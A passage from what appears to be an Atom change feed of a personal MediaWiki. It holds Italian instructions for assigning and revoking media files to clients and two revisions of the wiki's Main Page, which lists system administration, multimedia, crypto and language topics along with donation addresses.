===== Assegnazione =====&lt;br /&gt;
'''Passo passo...'''&lt;br /&gt;
# Localizzare il file archiviato: ''immagine, consolidato o audio''&lt;br /&gt;
# Cliccarci col pulsante destro&lt;br /&gt;
# Navigare in ''&amp;quot;azioni&amp;quot;'' -&amp;gt; ''&amp;quot;Gestione Clienti&amp;quot;'' -&amp;gt; ''&amp;quot;Assegna la * ad un cliente&amp;quot;'' &lt;br /&gt;
# Attendere il menu che mostra i Clienti disponibili (apparirà un terminale, Non chiuderlo!)&lt;br /&gt;
# Scegliere il Cliente o i clienti&lt;br /&gt;
# Attendere la chiusura del terminale aperto all'inizio&lt;br /&gt;
&lt;br /&gt;
===== Revoca =====&lt;br /&gt;
Seguire l' ''Assegnazione'' al punto 2&lt;br /&gt;
# Navigare in ''&amp;quot;azioni&amp;quot;'' -&amp;gt; ''&amp;quot;Gestione Clienti&amp;quot;'' -&amp;gt; ''&amp;quot;Revoca la * ad un cliente&amp;quot;'' &lt;br /&gt;
# Attendere il menu che mostra i Clienti disponibili&lt;br /&gt;
# Scegliere il Cliente o i clienti&lt;br /&gt;
# Dare la conferma che ci viene chiesta dal programma&lt;br /&gt;
# Attendere la chiusura del terminale aperto all'inizio&lt;br /&gt;
&lt;br /&gt;
==== Controllo Stato ====&lt;br /&gt;
&lt;br /&gt;
# Aprire la pagina xx ad autenticarsi.&lt;br /&gt;
# Controllare la presenza dei materiali inviati nella lista dei clienti scelti (controllarli uno per uno)&lt;br /&gt;
# Controllare lo stato (se uploading, fallito, o completato) &lt;br /&gt;
## Se dovesse esserci qualche errore, contattare root&lt;br /&gt;
# l'avanzamento dell'upload sarà riportato in KB trasferiti, con un aggiornamenti ogni 15 secondi&lt;br /&gt;
# Attendere il completamento e dare, se necessario, la conferma al cliente.&lt;br /&gt;
&lt;br /&gt;
=== Lato Cliente ===&lt;br /&gt;
&lt;br /&gt;
Si accede da xx&lt;br /&gt;
è necessaria la  e poi l'attivazione, da parte dell'aministratore, di un account.&lt;br /&gt;
Ottenuto l'account, accedendo alla pagina si avrà a disposizione &lt;br /&gt;
vari formati per ogni materiale richiesto ed una anteprima in bassa qualità.&lt;br /&gt;
&lt;br /&gt;
* Per vedere una clip nel lettore integrato, cliccare sul nome o sull'icona del video.&lt;br /&gt;
* Per scaricare un file, cliccare col il bottone destro del mouse sul nome del formato&lt;br /&gt;
e scegliere l'opzione &amp;quot;salva destinazione con nome..&amp;quot; o &amp;quot;salva collegamento con nome..&amp;quot; , dipende dal browser in uso.&lt;br /&gt;
&lt;br /&gt;
=== Gruppi di utenti ===&lt;br /&gt;
&lt;br /&gt;
la gerarchia degli utenti è la seguente:&lt;br /&gt;
{|cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; border=&amp;quot;0&amp;quot; width=&amp;quot;700&amp;quot;&lt;br /&gt;
| '''id Gruppo'''|| '''ruolo'''|| '''Proprietà'''&lt;br /&gt;
|-border=&amp;quot;1&amp;quot;&lt;br /&gt;
| '''1'''||''Utente Pubblico del sito'' ||'''Non può accedere alla pagina'''&lt;br /&gt;
|-&lt;br /&gt;
| '''2'''||''Redattore'' ||'''Accede ai contenuti di tutti i clienti e può gestirli'''&lt;br /&gt;
|-&lt;br /&gt;
| '''3'''||''Amministratore'' ||'''Gestice contenuti e clienti'''&lt;br /&gt;
|-&lt;br /&gt;
| '''4'''||''Cliente'' ||'''Accede ai contenuti a lui assegnati'''&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Pulizia materiale Revocato ===&lt;br /&gt;
* Comando da eseguirsi su vs01 o il server web remoto&lt;br /&gt;
 members_garbage.sh&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Main_Page&amp;diff=6433</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Main_Page&amp;diff=6433"/>
		<updated>2024-12-22T10:19:40Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Monitoring &amp;amp; Security */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Welcome to Alessandro's wiki'''&lt;br /&gt;
&lt;br /&gt;
''I've populated this page along the path I'm following through the information technology world.&lt;br /&gt;
Beware! some information may be really outdated, started in 2006.&lt;br /&gt;
&lt;br /&gt;
''In the twists and turns of this server's memory, where my thoughts are stored and folded in, you could find frightful ones.''&lt;br /&gt;
&lt;br /&gt;
donate, you can use the following Bitcoin or Litecoin addresses. Thank you&lt;br /&gt;
&lt;br /&gt;
    BTC &lt;br /&gt;
        1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk&lt;br /&gt;
    LTC &lt;br /&gt;
        LYbzJsCVmTynaK63CNMne89xKj961jFbWc&lt;br /&gt;
&lt;br /&gt;
[[Alessandro's_Wiki:About]]&lt;br /&gt;
&lt;br /&gt;
== System Administration Topics ==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|+ &lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Internet &amp;amp; Network Applications ===&lt;br /&gt;
*; CMS, wiki, etc.&lt;br /&gt;
** [[Trac]]&lt;br /&gt;
** [[mediawiki]]&lt;br /&gt;
** [[Gallery]] ''online photo archive system''&lt;br /&gt;
** [[Plone]]&lt;br /&gt;
** [[Joomla]]&lt;br /&gt;
** [[Drupal]]&lt;br /&gt;
*; Daemons&lt;br /&gt;
** [[Mail Systems]]&lt;br /&gt;
** [[mnogo]]&lt;br /&gt;
** [[supervisord]]&lt;br /&gt;
** [[Apache]]&lt;br /&gt;
** [[lighttpd]]&lt;br /&gt;
** [[Nginx]]&lt;br /&gt;
** [[hotsmtpd]] ''hotmail in Evolution''&lt;br /&gt;
** [[Ganglia]]&lt;br /&gt;
** [[MySQL]]&lt;br /&gt;
** [[PostgreSQL]]&lt;br /&gt;
** [[Oracle]]&lt;br /&gt;
** [[NetBoot]]&lt;br /&gt;
** [[Insync]] ''GoogleDrive(R) &amp;quot;emulator&amp;quot;''&lt;br /&gt;
*; Protocols&lt;br /&gt;
** [[SNMP]]&lt;br /&gt;
** [[NFS]] ''linux Networks''&lt;br /&gt;
** [[Samba]] ''windows networks''&lt;br /&gt;
** [[AFP]]  ''Apple networks''&lt;br /&gt;
** [[rsync]]&lt;br /&gt;
** [[SSH]] ''Secure SHell''&lt;br /&gt;
** [[CVS]]&lt;br /&gt;
** [[Subversion]]&lt;br /&gt;
** [[Git]]&lt;br /&gt;
** [[FTP]]&lt;br /&gt;
** [[OpenVPN]] ''Virtual Private Network''&lt;br /&gt;
** [[wget]] ''HTTP from terminal''&lt;br /&gt;
** [[httrack]] ''freeze a website''&lt;br /&gt;
** [[RealTimeWebContent]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Pure System ===&lt;br /&gt;
* [[CPU]] , [[CrossCompiling]]&lt;br /&gt;
* '''x86_64'''&lt;br /&gt;
** [[Fedora]] ''RedHat, ScientificLinux, CentOS''&lt;br /&gt;
** [[Gentoo]]&lt;br /&gt;
*** [[make.conf|/etc/make.conf]]&lt;br /&gt;
*** [[USE_flags]] ,  [[webapp-config]]&lt;br /&gt;
* [[KDE (intorno)|KDE]] ,  [[Click destro KDE]]&lt;br /&gt;
* [[Gnome]]&lt;br /&gt;
* [[ Qemu ]]&lt;br /&gt;
* [[BOOT|Boot !]] , [[GRUB|GRUB (Gestore Boot)]]&lt;br /&gt;
* [[VI|VI (Editor di testo)]]&lt;br /&gt;
* [[BASH]]&lt;br /&gt;
* [[Xorg]]&lt;br /&gt;
* [[PostInstallazioni]]&lt;br /&gt;
* [[BIOS]]&lt;br /&gt;
* [[processes and threads]]&lt;br /&gt;
* [[sudo]]&lt;br /&gt;
* [[RemoteConsoles]]&lt;br /&gt;
* [[systemd]]&lt;br /&gt;
&lt;br /&gt;
=== Networking Layer ===&lt;br /&gt;
&lt;br /&gt;
* [[Ethernet]]&lt;br /&gt;
** [[dhcp]]&lt;br /&gt;
** [[Bridging]]&lt;br /&gt;
** [[NAT]]&lt;br /&gt;
* [[Wireless]]&lt;br /&gt;
** [[Schede]]&lt;br /&gt;
** [[Wardriving]]&lt;br /&gt;
* [[Firewall (iptables)]]&lt;br /&gt;
* [[Livello Fisico|Physical Layer]]&lt;br /&gt;
* [[IP Protocol]]&lt;br /&gt;
* [[router-language]]&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Multimedia ===&lt;br /&gt;
* Video&lt;br /&gt;
** [[Kodi]]&lt;br /&gt;
** [[Resolution Standards]]&lt;br /&gt;
** [[VideoCaptureAdapters]]&lt;br /&gt;
** [[MPLAYER_MENCODER|mplayer, mencoder &amp;amp; ffmpeg]]&lt;br /&gt;
** [[ffserver|ffserver]]&lt;br /&gt;
** [[crtmpserver|C++ rtmp Server]]&lt;br /&gt;
** [[motion]]&lt;br /&gt;
** [[Imagemagick]]&lt;br /&gt;
** [[DVDStyler]] (authoring DVD)&lt;br /&gt;
** [[PiTiVi]] (montaggio video)&lt;br /&gt;
** [[Kino]] &lt;br /&gt;
** [[youtube]]&lt;br /&gt;
** [[JWplayer]]&lt;br /&gt;
** [[DarwinStreamingServer]]&lt;br /&gt;
** [[Conversioni Numeriche]]&lt;br /&gt;
** [[webcamstudio]]&lt;br /&gt;
* Audio&lt;br /&gt;
** [[Volumio]]&lt;br /&gt;
** [[pulseaudio]]&lt;br /&gt;
** [[Amarok]]&lt;br /&gt;
** [[ESOUND]]&lt;br /&gt;
** [[SOX]]&lt;br /&gt;
** [[mpd]] ''Music server''&lt;br /&gt;
*; Network / Server&lt;br /&gt;
** [[Skype]]&lt;br /&gt;
** [[Converter]]&lt;br /&gt;
** [[RealMedia]]&lt;br /&gt;
** [[red5]]&lt;br /&gt;
** [[erlyvideo]]&lt;br /&gt;
** [[Beryl Window Manager]]&lt;br /&gt;
* Drivers&lt;br /&gt;
** [[saa713x]]&lt;br /&gt;
** [[touchscreen]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Storage, File Systems &amp;amp; Data Recovery ===&lt;br /&gt;
* [[FileSystems]]&lt;br /&gt;
* [[devices and storage]] ''manage, analyze, etc.''&lt;br /&gt;
** [[SCSI]]&lt;br /&gt;
** [[Mounting devices]]&lt;br /&gt;
** [[crypted disk image]]&lt;br /&gt;
* [[RAID]]&lt;br /&gt;
* [[LVM]]&lt;br /&gt;
* [[Cattive abitudini]]&lt;br /&gt;
* [[Backups]]&lt;br /&gt;
** [[Bacula]]&lt;br /&gt;
* [[Propagazione]] &lt;br /&gt;
* [[ISO Managing (ISO9660)]]&lt;br /&gt;
* [[DRBD]]&lt;br /&gt;
&lt;br /&gt;
=== Kernel ===&lt;br /&gt;
* [[Kernel_boot_parameters|Boot Parameters]]&lt;br /&gt;
* [[Configuring|Configuring &amp;amp; compiling]]&lt;br /&gt;
* [[Sheduling]]&lt;br /&gt;
* [[IO Sheduler]]&lt;br /&gt;
* [[mettere alla prova]]&lt;br /&gt;
* [[memory]]&lt;br /&gt;
* [[entropy]]&lt;br /&gt;
* [[clock]]&lt;br /&gt;
* [[Docker]]&lt;br /&gt;
&lt;br /&gt;
=== Monitoring &amp;amp; Security ===&lt;br /&gt;
* [[lm_sensors]] ''linux hardware sensor layer''&lt;br /&gt;
* [[Nagios]] ''advanced sesor-based network monitoring system''&lt;br /&gt;
* [[Munin]]  ''draws graphs from system sensors''&lt;br /&gt;
* [[Ganglia]] ''graphs and host grouping for clusters''&lt;br /&gt;
* [[MRTG]]  ''rrdtool based snmp-based switch grapher''&lt;br /&gt;
** '''''security'''''&lt;br /&gt;
* [[Tripwire]]&lt;br /&gt;
* [[Supervisord]]&lt;br /&gt;
* [[Awstats]]&lt;br /&gt;
* [[Observium]]&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Crypto, Cypherpunks and Hippy Brokers ==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|+ &lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Crypto world Information ===&lt;br /&gt;
&lt;br /&gt;
News&lt;br /&gt;
* https://www.coindesk.com/&lt;br /&gt;
* https://cointelegraph.com/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
data and graphs&lt;br /&gt;
* http://cryptocoin.cc/&lt;br /&gt;
* https://coinmarketcap.com/&lt;br /&gt;
* https://coincheckup.com/&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
* [[Crypto]] Exchanges and Stuff&lt;br /&gt;
* [[Wallets]]&lt;br /&gt;
** [[Ethereum]]&lt;br /&gt;
'' loosing money is very easy !!!'' if you're not sure, better send it to me...&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Mining World ===&lt;br /&gt;
&lt;br /&gt;
* [[Mining]] ''my notes and mining experiments'' (use with care!!)&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== End Users Topics ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|width=&amp;quot;50%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
==== GNU/Linux distos ====&lt;br /&gt;
&lt;br /&gt;
* [[Debian]]&lt;br /&gt;
** [[Ubuntu]]&lt;br /&gt;
** [[UbuntuStudio]]&lt;br /&gt;
* [[Scientific Linux]]&lt;br /&gt;
** [[RedHat Enterprise Linux]]&lt;br /&gt;
** [[CentOS]]&lt;br /&gt;
&lt;br /&gt;
[[TabellaCaratteristicheDistribuzioni]]&lt;br /&gt;
&lt;br /&gt;
[http://www.gentoo.org/][[Image:Gentoo.png]]&lt;br /&gt;
&lt;br /&gt;
[http://www.ubuntu.org/] [[Image:ubuntuLogoSmall.png]]&lt;br /&gt;
&lt;br /&gt;
[http://www.kubuntu.org/] [[Image:kubuntuLogoSmall.jpg]]&lt;br /&gt;
&lt;br /&gt;
[https://www.scientificlinux.org][[Image:scientificlinux.gif]]&lt;br /&gt;
&lt;br /&gt;
[http://fedoraproject.org/][[Image:fedoraLogoSmall.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Programming/Scripting ===&lt;br /&gt;
* [[code analysis]] ''code analyzing software''&lt;br /&gt;
* [[BASH]]&lt;br /&gt;
* [[UML]]&lt;br /&gt;
* [[CSS]]&lt;br /&gt;
* [[PHP]]&lt;br /&gt;
* [[Javascript]]&lt;br /&gt;
* [[C]]&lt;br /&gt;
* [[SQL]]&lt;br /&gt;
* [[Curl]]&lt;br /&gt;
* [[Perl]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;50%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
===== Audio/Video =====&lt;br /&gt;
*'''[[Formati di Compressione]]'''&lt;br /&gt;
*'''[[KDEactions|Click destro in KDE]]''' ''right-click in KDE , how/t to implement''&lt;br /&gt;
*'''[[MPLAYER_MENCODER|Mplayer &amp;amp; Mencoder]]''' ''direct encoding commands from terminal (mplayer mencoder ffmpeg)''&lt;br /&gt;
*'''[[MIME Types]]''' ''associare tipi di file a programmi''&lt;br /&gt;
*'''[[Kino]]''' ''simple editing software (very simple for end user) ''&lt;br /&gt;
*'''[[Audacity]]''' ''Editing audio''&lt;br /&gt;
*'''[[skype]]''' ''Skype &amp;amp; VoIP''&lt;br /&gt;
*'''[[Kdenlive]]''' ''Montaggio multitraccia per linux''&lt;br /&gt;
*'''[[MediaSync]]''' ''framework di gestione materiale multimediale ''&lt;br /&gt;
*'''[http://videoteca.webhop.net/ MediaCutter ''(beta)'']'''&lt;br /&gt;
&lt;br /&gt;
===== Some Random Stuff =====&lt;br /&gt;
*'''[[converter|CAAP]]''' ''(Conversioni Automatizzate Asincrone in Parallelo) / batch system '''PBS''' ''&lt;br /&gt;
*'''[[DB|i database multimediali]]'''&lt;br /&gt;
*'''[[Kickstart]]''' ''Installazioni Automatizzate ''&lt;br /&gt;
*'''[[Procedimenti]]''' ''Raccolta di procedimenti''&lt;br /&gt;
*'''[[OpenVPN]]'''&lt;br /&gt;
*'''[[Safe Browsing]]''' ''collection of common or more sophisticated safe browsing tips''&lt;br /&gt;
*; Apple&lt;br /&gt;
**'''[[Mac]]''' ''OSx''&lt;br /&gt;
** '''[[MacDevices]]''' ''using Apple devices on linux''&lt;br /&gt;
**'''[[maclinux]]''' ''Linux su MacBook''&lt;br /&gt;
**'''[[once upon a time, there was an apple]]'''&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== The World Beyond IT==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|width=&amp;quot;30%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Robotics / Electronics ===&lt;br /&gt;
* [[Propulsori Stepper]]&lt;br /&gt;
* [[Porta Parallela]]&lt;br /&gt;
* [[Micro Controllori PIC]]&lt;br /&gt;
* [[Arduino]]&lt;br /&gt;
&lt;br /&gt;
=== Links: ===&lt;br /&gt;
&lt;br /&gt;
* http://foto.alessandrodelgallo.org  my photo gallery&lt;br /&gt;
* http://videoteeka.com my video gallery software ''(outdated)''&lt;br /&gt;
* http://www.youtube.com/user/porcelinux old YouTube channel&lt;br /&gt;
&lt;br /&gt;
* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]&lt;br /&gt;
* [http://www.mediawiki.org/wiki/Help:Formatting MediaWiki Help Formatting]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;30%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Languages ===&lt;br /&gt;
* [[Italiano]]&lt;br /&gt;
** a wonderful dictionary http://www.wordreference.com/&lt;br /&gt;
** dizionario etimologico: http://www.etimo.it/&lt;br /&gt;
** dizionario italiano http://www.demauro.it/&lt;br /&gt;
* [[Spangolo]]&lt;br /&gt;
* [[English]]&lt;br /&gt;
* [[Olandese]]&lt;br /&gt;
** [[living in the nederlands|Living in the Netherlands]]&lt;br /&gt;
* [[Deutsch]]&lt;br /&gt;
** [[Living in Germany]]&lt;br /&gt;
&lt;br /&gt;
*; [[Documicate]] what is [[documication]] ?&lt;br /&gt;
&lt;br /&gt;
* [[NienteNadaNothing]]&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you liked this wiki and you want to donate, you can use the following Bitcoin or Litecoin addresses. Thank you&lt;br /&gt;
*;BTC : 1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk&lt;br /&gt;
*;LTC : LYbzJsCVmTynaK63CNMne89xKj961jFbWc&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Main_Page&amp;diff=6432</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Main_Page&amp;diff=6432"/>
		<updated>2024-12-22T01:24:56Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Robotics / Electtronic */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Welcome to Alessandro's wiki'''&lt;br /&gt;
&lt;br /&gt;
''I've populated this page along the path I'm following through the information technology world.&lt;br /&gt;
Beware! some information may be really outdated, started in 2006.&lt;br /&gt;
&lt;br /&gt;
''In the twists and turns of this server's memory, where my thoughts are stored and folded in, you could find frightful ones.''&lt;br /&gt;
&lt;br /&gt;
donate, you can use the following Bitcoin or Litecoin addresses. Thank you&lt;br /&gt;
&lt;br /&gt;
    BTC &lt;br /&gt;
        1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk&lt;br /&gt;
    LTC &lt;br /&gt;
        LYbzJsCVmTynaK63CNMne89xKj961jFbWc&lt;br /&gt;
&lt;br /&gt;
[[Alessandro's_Wiki:About]]&lt;br /&gt;
&lt;br /&gt;
== System Administration Topics ==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|+ &lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Internet &amp;amp; Network Applications ===&lt;br /&gt;
*; CMS, wiki, etc.&lt;br /&gt;
** [[Trac]]&lt;br /&gt;
** [[mediawiki]]&lt;br /&gt;
** [[Gallery]] ''online photo archive system''&lt;br /&gt;
** [[Plone]]&lt;br /&gt;
** [[Joomla]]&lt;br /&gt;
** [[Drupal]]&lt;br /&gt;
*; Daemons&lt;br /&gt;
** [[Mail Systems]]&lt;br /&gt;
** [[mnogo]]&lt;br /&gt;
** [[supervisord]]&lt;br /&gt;
** [[Apache]]&lt;br /&gt;
** [[lighttpd]]&lt;br /&gt;
** [[Nginx]]&lt;br /&gt;
** [[hotsmtpd]] ''hotmail in Evolution''&lt;br /&gt;
** [[Ganglia]]&lt;br /&gt;
** [[MySQL]]&lt;br /&gt;
** [[PostgreSQL]]&lt;br /&gt;
** [[Oracle]]&lt;br /&gt;
** [[NetBoot]]&lt;br /&gt;
** [[Insync]] ''GoogleDrive(R) &amp;quot;emulator&amp;quot;''&lt;br /&gt;
*; Protocols&lt;br /&gt;
** [[SNMP]]&lt;br /&gt;
** [[NFS]] ''linux Networks''&lt;br /&gt;
** [[Samba]] ''windows networks''&lt;br /&gt;
** [[AFP]]  ''Apple networks''&lt;br /&gt;
** [[rsync]]&lt;br /&gt;
** [[SSH]] ''Secure SHell''&lt;br /&gt;
** [[CVS]]&lt;br /&gt;
** [[Subversion]]&lt;br /&gt;
** [[Git]]&lt;br /&gt;
** [[FTP]]&lt;br /&gt;
** [[OpenVPN]] ''Virtual Private Network''&lt;br /&gt;
** [[wget]] ''HTTP from terminal''&lt;br /&gt;
** [[httrack]] ''freeze a website''&lt;br /&gt;
** [[RealTimeWebContent]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Pure System ===&lt;br /&gt;
* [[CPU]] , [[CrossCompiling]]&lt;br /&gt;
* '''x86_64'''&lt;br /&gt;
** [[Fedora]] ''RedHat, ScientificLinux, CentOS''&lt;br /&gt;
** [[Gentoo]]&lt;br /&gt;
*** [[make.conf|/etc/make.conf]]&lt;br /&gt;
*** [[USE_flags]] ,  [[webapp-config]]&lt;br /&gt;
* [[KDE (intorno)|KDE]] ,  [[Click destro KDE]]&lt;br /&gt;
* [[Gnome]]&lt;br /&gt;
* [[ Qemu ]]&lt;br /&gt;
* [[BOOT|Boot !]] , [[GRUB|GRUB (Gestore Boot)]]&lt;br /&gt;
* [[VI|VI (Editor di testo)]]&lt;br /&gt;
* [[BASH]]&lt;br /&gt;
* [[Xorg]]&lt;br /&gt;
* [[PostInstallazioni]]&lt;br /&gt;
* [[BIOS]]&lt;br /&gt;
* [[processes and threads]]&lt;br /&gt;
* [[sudo]]&lt;br /&gt;
* [[RemoteConsoles]]&lt;br /&gt;
* [[systemd]]&lt;br /&gt;
&lt;br /&gt;
=== Networking Layer ===&lt;br /&gt;
&lt;br /&gt;
* [[Ethernet]]&lt;br /&gt;
** [[dhcp]]&lt;br /&gt;
** [[Bridging]]&lt;br /&gt;
** [[NAT]]&lt;br /&gt;
* [[Wireless]]&lt;br /&gt;
** [[Schede]]&lt;br /&gt;
** [[Wardriving]]&lt;br /&gt;
* [[Firewall (iptables)]]&lt;br /&gt;
* [[Livello Fisico|Physical Layer]]&lt;br /&gt;
* [[IP Protocol]]&lt;br /&gt;
* [[router-language]]&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Multimedia ===&lt;br /&gt;
* Video&lt;br /&gt;
** [[Kodi]]&lt;br /&gt;
** [[Resolution Standards]]&lt;br /&gt;
** [[VideoCaptureAdapters]]&lt;br /&gt;
** [[MPLAYER_MENCODER|mplayer, mencoder &amp;amp; ffmpeg]]&lt;br /&gt;
** [[ffserver|ffserver]]&lt;br /&gt;
** [[crtmpserver|C++ rtmp Server]]&lt;br /&gt;
** [[motion]]&lt;br /&gt;
** [[Imagemagick]]&lt;br /&gt;
** [[DVDStyler]] (authoring DVD)&lt;br /&gt;
** [[PiTiVi]] (montaggio video)&lt;br /&gt;
** [[Kino]] &lt;br /&gt;
** [[youtube]]&lt;br /&gt;
** [[JWplayer]]&lt;br /&gt;
** [[DarwinStreamingServer]]&lt;br /&gt;
** [[Conversioni Numeriche]]&lt;br /&gt;
** [[webcamstudio]]&lt;br /&gt;
* Audio&lt;br /&gt;
** [[Volumio]]&lt;br /&gt;
** [[pulseaudio]]&lt;br /&gt;
** [[Amarok]]&lt;br /&gt;
** [[ESOUND]]&lt;br /&gt;
** [[SOX]]&lt;br /&gt;
** [[mpd]] ''Music server''&lt;br /&gt;
*; Network / Server&lt;br /&gt;
** [[Skype]]&lt;br /&gt;
** [[Converter]]&lt;br /&gt;
** [[RealMedia]]&lt;br /&gt;
** [[red5]]&lt;br /&gt;
** [[erlyvideo]]&lt;br /&gt;
** [[Beryl Window Manager]]&lt;br /&gt;
* Drivers&lt;br /&gt;
** [[saa713x]]&lt;br /&gt;
** [[touchscreen]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Storage, File Systems &amp;amp; Data Recovery ===&lt;br /&gt;
* [[FileSystems]]&lt;br /&gt;
* [[devices and storage]] ''manage, analyze, etc.''&lt;br /&gt;
** [[SCSI]]&lt;br /&gt;
** [[Mounting devices]]&lt;br /&gt;
** [[crypted disk image]]&lt;br /&gt;
* [[RAID]]&lt;br /&gt;
* [[LVM]]&lt;br /&gt;
* [[Cattive abitudini]]&lt;br /&gt;
* [[Backups]]&lt;br /&gt;
** [[Bacula]]&lt;br /&gt;
* [[Propagazione]] &lt;br /&gt;
* [[ISO Managing (ISO9660)]]&lt;br /&gt;
* [[DRBD]]&lt;br /&gt;
&lt;br /&gt;
=== Kernel ===&lt;br /&gt;
* [[Kernel_boot_parameters|Boot Parameters]]&lt;br /&gt;
* [[Configuring|Configuring &amp;amp; compiling]]&lt;br /&gt;
* [[Sheduling]]&lt;br /&gt;
* [[IO Sheduler]]&lt;br /&gt;
* [[mettere alla prova]]&lt;br /&gt;
* [[memory]]&lt;br /&gt;
* [[entropy]]&lt;br /&gt;
* [[clock]]&lt;br /&gt;
* [[Docker]]&lt;br /&gt;
&lt;br /&gt;
=== Monitoring &amp;amp; Security ===&lt;br /&gt;
* [[lm_sensors]] ''linux hardware sensor layer''&lt;br /&gt;
* [[Nagios]] ''advanced sesor-based network monitoring system''&lt;br /&gt;
* [[Munin]]  ''draws graphs from system sensors''&lt;br /&gt;
* [[Ganglia]] ''graphs and host grouping for clusters''&lt;br /&gt;
* [[MRTG]]  ''rrdtool based snmp-based switch grapher''&lt;br /&gt;
** '''''security'''''&lt;br /&gt;
* [[Tripwire]]&lt;br /&gt;
* [[Supervisord]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Crypto, Cypherpunks and Hippy Brokers ==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|+ &lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Crypto world Information ===&lt;br /&gt;
&lt;br /&gt;
News&lt;br /&gt;
* https://www.coindesk.com/&lt;br /&gt;
* https://cointelegraph.com/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
data and graphs&lt;br /&gt;
* http://cryptocoin.cc/&lt;br /&gt;
* https://coinmarketcap.com/&lt;br /&gt;
* https://coincheckup.com/&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
* [[Crypto]] Exchanges and Stuff&lt;br /&gt;
* [[Wallets]]&lt;br /&gt;
** [[Ethereum]]&lt;br /&gt;
'' loosing money is very easy !!!'' if you're not sure, better send it to me...&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Mining World ===&lt;br /&gt;
&lt;br /&gt;
